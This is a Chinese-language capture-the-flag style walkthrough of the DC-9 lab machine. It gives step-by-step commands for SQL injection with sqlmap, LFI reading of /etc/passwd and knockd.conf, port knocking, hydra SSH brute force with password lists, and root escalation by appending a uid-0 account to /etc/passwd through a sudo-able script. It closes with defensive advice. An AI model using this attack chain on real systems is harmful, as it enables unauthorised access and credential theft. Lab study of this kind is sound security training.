端口敲击守护程序之DC-9
字数 1711 2025-08-10 12:17:54
DC-9 靶机渗透测试详细教学文档
靶机概述
DC-9 是一个 OSCP 系列的中级难度靶机,主要考察以下技术点:
- SQL 注入漏洞利用
- 文件包含漏洞(LFI)
- 端口敲击(port knocking)技术
- 密码爆破与横向移动
- sudo 提权技术
环境准备
-
攻击机配置:
- IP: 192.168.45.192
- 工具准备:nmap, sqlmap, dirsearch, hashcat, hydra, knockd
-
靶机配置:
- IP: 192.168.178.209
- 开放服务:HTTP (80端口)
- 过滤服务:SSH (22端口)
信息收集阶段
端口扫描
sudo nmap --min-rate 10000 -p- 192.168.178.209
结果:
- 80/tcp open http
- 22/tcp filtered ssh
关键点:22端口被过滤(filtered)意味着可能有防火墙保护,需要特殊方式访问。
服务版本探测
sudo nmap -sT -sV -O -sC -p22,80 192.168.178.209
结果:
- Apache httpd 2.4.38 (Debian)
- 22端口状态变为closed(与之前filtered不同)
Web应用指纹识别
whatweb http://192.168.178.209
结果显示是一个基于PHP的CMS系统,标题为"Example.com - Staff Details - Welcome"
目录扫描
dirsearch -u http://192.168.178.209 -x 302,403,404
发现重要目录:
- /results.php (搜索功能)
- /addrecord.php (添加记录功能)
漏洞利用阶段
SQL注入漏洞
-
手动测试:
在搜索框输入:Julie' -- qwe,成功返回结果,确认存在SQL注入 -
使用sqlmap自动化利用:
# 基础探测
sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*"
# 获取数据库
sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" --dbs
# 获取Staff数据库表
sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" -D Staff --tables
# 获取Users表数据
sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" -D Staff -T Users -C Username,Password --dump
获取到管理员凭据:
- 用户名:admin
- 密码哈希:856f5de590ef37314e7c3bdf6f8a66dc (MD5)
- 密码破解尝试:
使用hashcat和在线解密网站尝试破解,最终得到明文密码:transorbital1
后台登录
使用获得的凭据登录后台,发现新增功能点,底部显示"File does not exist"提示,可能存在文件包含漏洞。
文件包含漏洞(LFI)
- 参数FUZZ测试:
ffuf -u 'http://192.168.178.209/addrecord.php?FUZZ=etc/passwd' -w /usr/share/wordlists/dirb/common.txt -b "PHPSESSID=h86ph7lej727porurqhsh072vs" -fs 0
发现有效参数:file
- 读取关键文件:
访问/etc/knockd.conf获取端口敲击配置:
[options]
UseSyslog
[openSSH]
sequence = 7469,8475,9842
seq_timeout = 25
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
[closeSSH]
sequence = 9842,8475,7469
seq_timeout = 25
command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
端口敲击技术
使用knockd工具按顺序访问指定端口以打开SSH:
sudo apt install knockd
knock 192.168.178.209 7469 8475 9842
验证SSH端口已开放:
nmap -p22 192.168.178.209
横向移动阶段
SSH爆破准备
- 创建用户列表:
echo 'marymjuliedfredfbarneyrtomcjerrymwilmafbettyrchandlerbjoeytrachelgrossgmonicagphoebebscootsjanitorjanitor2' > user.txt
- 创建密码列表:
echo '3kfs86sfd468sfdfsd24sfd87sfd1RocksOffTC&TheBoyzB8m#48sdPebblesBamBam01UrAG0D!Passw0rdyN72#dsdILoveRachel3248dsds7ssmellycatsYR3BVxxxw87IlovepeepeeHawaii-Five-0' > passwd.txt
- 使用hydra爆破:
hydra -L user.txt -P passwd.txt 192.168.178.209 ssh -s 22 -t 64 -o main
获得有效凭据:
- chandlerb:UrAG0D!
- joeyt:Passw0rd
- janitor:Ilovepeepee
用户枚举与信息收集
- 登录janitor账户:
ssh janitor@192.168.178.209
- 发现隐藏密码文件:
在janitor主目录下发现包含更多密码的文件,创建新密码列表:
echo 'BamBam01Passw0rdsmellycatsP0Lic#10-4B4-Tru3-0014uGU5T-NiGHts' > passwd2.txt
- 二次爆破:
hydra -L user.txt -P passwd2.txt 192.168.178.209 ssh -s 22 -t 64 -o main
获得新凭据:
- fredf:B4-Tru3-001
权限提升阶段
获取本地flag
find / -name local.txt 2>/dev/null
cat /home/fredf/local.txt
sudo提权分析
检查fredf的sudo权限:
sudo -l
结果显示可以无密码以root身份运行:
/opt/devstuff/dist/test/test
分析可执行文件
- 查看文件内容:
ls -al /opt/devstuff/dist/test/test
cat /opt/devstuff/dist/test/test # 无法直接查看
- 运行测试:
/opt/devstuff/dist/test/test
显示用法:Usage: python test.py read append
- 查找关联Python文件:
find / -name "test.py" 2>/dev/null
发现/opt/devstuff/test.py,内容如下:
#!/usr/bin/python
import sys
if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r")
output = (f.read())
f = open(sys.argv[2], "a")
f.write(output)
f.close()
利用漏洞提权
- 生成root密码:
openssl passwd
# 输入密码后获得哈希:$1$2Pnbp/rL$s7aGNIT5ndyGog5cor6N4.
- 创建恶意passwd条目:
echo 'YaoRuo:$1$2Pnbp/rL$s7aGNIT5ndyGog5cor6N4.:0:0:root:/root:/bin/bash' > /tmp/passwd.txt
- 覆盖/etc/passwd:
sudo /opt/devstuff/dist/test/test /tmp/passwd.txt /etc/passwd
- 切换root用户:
su YaoRuo
# 输入之前设置的密码
- 获取root flag:
cat /root/proof.txt
技术总结
-
端口敲击技术:
- 用于保护SSH等敏感服务
- 通过特定端口序列触发防火墙规则变更
- 配置文件通常位于
/etc/knockd.conf
-
LFI到RCE的多种途径:
- 日志文件注入
- 配置文件修改
- 关键系统文件读取
-
密码安全:
- 避免使用可预测的密码
- 不同账户不应使用相同密码
- 定期更换密码
-
最小权限原则:
- sudo配置应严格限制
- 避免赋予文件写入等危险权限
-
防御建议:
- 对用户输入严格过滤
- 关键服务使用双因素认证
- 定期审计系统权限配置
通过本靶机的渗透测试,我们系统性地学习了从信息收集到权限提升的完整过程,特别是端口敲击和sudo提权等高级技术的实际应用。